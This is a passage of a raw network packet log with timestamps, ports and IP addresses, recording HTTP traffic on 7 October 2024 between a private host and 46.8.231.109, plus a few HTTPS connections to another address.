Oct 7, 2024 17:22:05.142160892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142169952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142182112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142189026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.142189026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.142195940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142205954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142216921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142219067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.142232895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142244101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142252922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142258883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.142258883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.142262936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142272949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142282963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.142302036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.142302036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.142333984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.302201986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.307126045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.311475039 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 7, 2024 17:22:05.311501980 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 7, 2024 17:22:05.436604023 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 17:22:05.473737001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473763943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473786116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473797083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473810911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473819971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473829985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473839998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473850965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473860025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473871946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473886967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.473901987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473912001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473922968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473932028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473932981 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.473943949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473943949 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.473961115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473973989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.473973989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474014997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474020004 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474020004 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474036932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474046946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474056005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474059105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474098921 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474098921 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474219084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474230051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474240065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474250078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474260092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474267960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474277973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474287987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474293947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474293947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474298000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474308968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474315882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474318981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474332094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474344015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474344015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474359035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474368095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474374056 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474394083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474405050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474415064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474423885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474423885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474423885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474469900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474469900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474473953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474550962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474622965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474633932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474643946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474653959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474662066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474673033 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474680901 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474680901 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474684000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474694967 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474704981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474714994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474725008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474734068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474741936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474741936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474747896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474755049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474787951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474787951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.474960089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474971056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474980116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474988937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.474999905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475009918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475018978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475028992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475029945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475028992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475042105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475052118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475063086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475073099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475079060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475079060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475102901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475111961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475121975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475126028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475126028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475132942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475145102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475178957 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475178957 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475323915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475334883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475342989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475352049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475361109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475370884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475378990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475395918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475406885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475409985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475409985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475409985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475415945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475416899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475428104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475436926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475447893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475455999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475461960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475471020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475480080 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475480080 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475481987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475492001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475501060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475509882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475521088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475531101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475541115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475541115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475569010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475569010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475737095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475747108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475759029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475768089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475776911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475786924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475799084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475809097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475810051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475810051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475821018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475843906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475843906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475861073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475872993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475883961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.475924969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.475924969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476094007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476105928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476114988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476125002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476135015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476146936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476146936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476150990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476161957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476169109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476171017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476180077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476191044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476202011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476212025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476217031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476217031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476222992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476232052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476246119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476249933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476255894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476267099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476277113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476289034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476298094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476300001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476300001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476308107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476317883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476326942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476335049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476335049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476339102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476349115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476358891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.476398945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.476398945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.556482077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556519985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556533098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556590080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556601048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556612015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556619883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.556622982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556633949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556646109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556657076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556721926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556732893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556746006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556756973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556767941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556780100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556873083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556876898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.556876898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.556876898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.556876898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.556876898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.556890011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556901932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556910992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.556911945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556924105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556934118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556941986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.556946993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556958914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556971073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.556972980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.556992054 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557009935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557027102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557037115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557056904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557065010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557068110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557080984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557082891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557097912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557109118 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557110071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557142019 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557183027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557195902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557205915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557228088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557245016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557248116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557260036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557271004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557282925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557291031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557321072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557401896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557413101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557425022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557435036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557441950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557446003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557459116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557460070 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557486057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557512045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557554960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557566881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557578087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557588100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557595968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557609081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557619095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557621956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557631969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557642937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557643890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557653904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557671070 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557696104 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557702065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557713032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557725906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557729959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557738066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557749033 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557750940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557779074 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.557971954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557981968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.557991982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558001041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558011055 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.558011055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558022022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558032036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558037996 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.558043957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558056116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558065891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558073997 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.558077097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558088064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558094978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.558099985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558111906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.558137894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.558331013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558341026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558350086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558361053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.558370113 CEST	80	49704	46.8.231.109	192.168.2.5
